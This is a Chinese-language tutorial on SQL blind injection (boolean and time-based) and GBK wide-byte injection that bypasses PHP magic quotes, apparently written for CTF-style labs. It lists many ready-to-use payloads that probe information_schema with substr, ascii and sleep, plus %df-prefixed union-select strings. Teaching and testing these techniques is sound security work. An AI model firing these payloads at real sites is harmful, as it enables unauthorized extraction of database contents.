SQL盲注/宽字节注入
poggioxay 人气:0盲注
有时目标存在注入,但在页面上没有任何回显,此时，我们需要利用一些方法进行判断或者尝试得到数据，这个过程称之为盲注。
时间盲注其实和布尔盲注其实没有什么太大的区别，只不过是一个依靠页面是否正常判断，一个是否延时判断，在操作上其实也差不多，只不过时间注入多一个if()
布尔盲注
布尔很明显就是true和false，也就是说它只会根据信息返回true和false，也就是没有了之前的报错信息。
时间盲注
界面返回值只有一种true，无论输入任何值，返回情况都会按照正常的来处理。加入特定的时间函数，通过查看web页面返回的时间差来判断注入的语句是否正确。
盲注函数
length() 函数 返回字符串的长度
?id=1 and length(database())>1
substr() 截取字符串 , 从第一位截取一个
?id=1 and substr(database(),1,1)='k'
ord()/ascii() 返回字符的ascii码
?id=1 and ord(substr(database(),1,1))=107
limit 0,1 显示第一条
substr(截取的内容,截取的位数,截取的个数)
substr(database(),1,1) 显示第一位字符
时间型：sleep(n) 将程序挂起一段时间，n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句，如果错误执行第三个语句
?id=1' and if(length(database())=8,1,sleep(5))-- +
演示语句
猜数据库的长度； ?id=1 and (length(database()))>11# 猜测数据库的库名： ?id=1 and ascii(substr(database(),1,1))>1# 猜表名（示例为查询第一个表名） and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //注意括号问题 and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l' 猜第一个字段名第一个字符： and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i' 猜第一个字段名第二个字符： and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i' 猜第二个字段名： and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'# 猜字段中的内容： and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 时间盲注猜测数据库的长度: ?id=1" and if(length(database())=12,sleep(5),1) -- + 猜测数据库的库名: if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+ 猜测数据库中表的长度： ?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- + 猜测数据库中的表名： ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- + 猜测表中的字段名的长度： ?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- + 猜测表中的字段名： ?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- + 猜测字段中内容的长度： ?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- + 猜测字段中的内容： ?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +
burp抓包演示
先判断长度，再判断内容
宽字节注入
php魔术函数
- magic_quotes_gpc（魔术引号开关）——> 防御sql注入
- magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据，如包括有：post、get、cookie过来的数据增加转义字符“\”，以确保这些数据不会引起程序，特别是数据库语句因为特殊字符引起的污染而出现致命的错误，防止注入使其无法闭合。
- 单引号（’）、双引号（”）、反斜线（\）等字符都会被加上反斜线
开启方式
php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用，$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己，避免用户过度依赖造成安全隐患】，或者在php.ini中修改。
开启效果
作用
当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤
绕过方法
单引号和双引号内的一切都是字符串，那我们输入的东西如果不能闭合掉单引号和双引号，我们的输入就不会当作代码执行，就无法产生SQL注入，那我们该怎么办？
- 不需要闭合
- 仔细查看作用域（
POST、GET、COOKIE），$_SERVER就在作用域之外。 - 宽字节注入
宽字节注入
尽管现在呼吁所有的程序都使用unicode编码，所有的网站都使用utf-8编码，来一个统一的国际规范。但仍然有很多，包括国内及国外（特别是非英语国家）的一些cms，仍然使用着自己国家的一套编码，比如我国的gbk、gb2312，作为自己默认的编码类型。也有一些cms为了考虑老用户，推出了gbk和utf-8两个版本（例如:dedecms）
我们就以gbk字符编码为例，拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案，因为双字节编码所以gbk编码汉字，占用2个字节。一个utf-8编码的汉字，占用3个字节。
- 核心：传一个字符将反斜杠吃掉成为汉字
- 数据库使用GBK编码可能存在宽字节注入
- MySql的编码设置：
SET NAMES 'gbk'或是SET character_set_client =gbk - 宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES 'gbk'或是SET character_set_client =gbk进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节注入。- %df \、%9c \ ——>汉字
- 绕过其中的单引号等字符，除了采用嵌套法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- + - 也可以采用十六进制标识法
?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- + - 宽字节注入可以直接传入汉字
总结
加载全部内容